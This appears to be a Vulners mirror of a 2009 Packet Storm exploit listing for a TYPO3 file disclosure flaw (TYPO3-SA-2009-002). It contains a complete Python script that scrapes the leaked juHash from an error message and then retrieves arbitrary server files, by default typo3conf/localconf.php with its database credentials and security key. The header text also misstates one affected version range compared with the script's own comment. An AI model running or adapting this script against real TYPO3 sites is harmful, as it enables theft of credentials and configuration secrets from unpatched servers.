Lucene search
K

TYPO3 File Disclosure

🗓️ 10 Feb 2009 00:00:00Reported by LolekType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

TYPO3 File Disclosure exploit by Lolek of TK53, able to precompute hashes for TYPO3 versions < 4.2.6, < 4.1.10, < 4.0.1

Code
`#!/usr/bin/env python  
#  
# ------------------------------------------------------------------------------  
# TYPO3-SA-2009-002 exploit by Lolek of TK53 <[email protected]>  
# date: 2009/02/10  
# vendor url: http://typo3.org  
# vulnerable versions: TYPO3 < 4.2.6, TYPO3 < 4.1.10, TYPO3 < 4.0.12  
# usage:  
# typo3-sa-2009-002.py <host> <file> (defaults to typo3conf/localconf.php)  
#  
# if people fixed their installations but did not update the typo3 security key  
# you should be able to precompute the hashes if you previously got the security key.  
#  
# greetings to milw0rm, roflek  
  
import urllib,re,sys  
  
strip = re.compile(r'.*Calculated juHash, ([a-z0-9]+), did not.*')  
  
def useme():  
print sys.argv[0], '<host> (with http://) <file> (defaults to typo3conf/localconf.php)'  
sys.exit(0)  
  
def parsehash(host, f):  
file = urllib.urlencode({'jumpurl' : f, 'type' : 0, 'juSecure': 1, 'locationData' : '3:'})  
url = host + '/?' + file  
try:  
s = urllib.urlopen(url)  
r = s.read()  
except Exception, e:  
print '[!] - ', str(e)  
return None  
  
tmp = strip.match(r)  
if tmp:  
return tmp.group(1)  
else:  
return None  
  
def content(host, hash, f):  
file = urllib.urlencode({'jumpurl' : f, 'type' : 0, 'juSecure': 1, 'locationData' : '3:', 'juHash' : hash})  
url = host + '/?' + file  
try:  
s = urllib.urlopen(url)  
print '[+] - content of:', f  
print s.read()  
except:  
print '[!] - FAIL'  
  
def main():  
if len(sys.argv) < 2:  
useme()  
  
if len(sys.argv) < 3:  
file = 'typo3conf/localconf.php'  
else:  
file = sys.argv[2]  
  
print '[+] - TYPO3-SA-2009-002 exploit by Lolek of TK53'  
print '[+] - checking typo3 installation on...'  
  
hash = parsehash(sys.argv[1], file)  
  
if not hash:  
print '[!] - version already fixed or 42 went wrong while trying to get the hash'  
sys.exit(234)  
  
content(sys.argv[1], hash, file)  
  
  
if __name__ == '__main__':  
main()  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Feb 2009 00:00Current
7.4High risk
Vulners AI Score7.4
31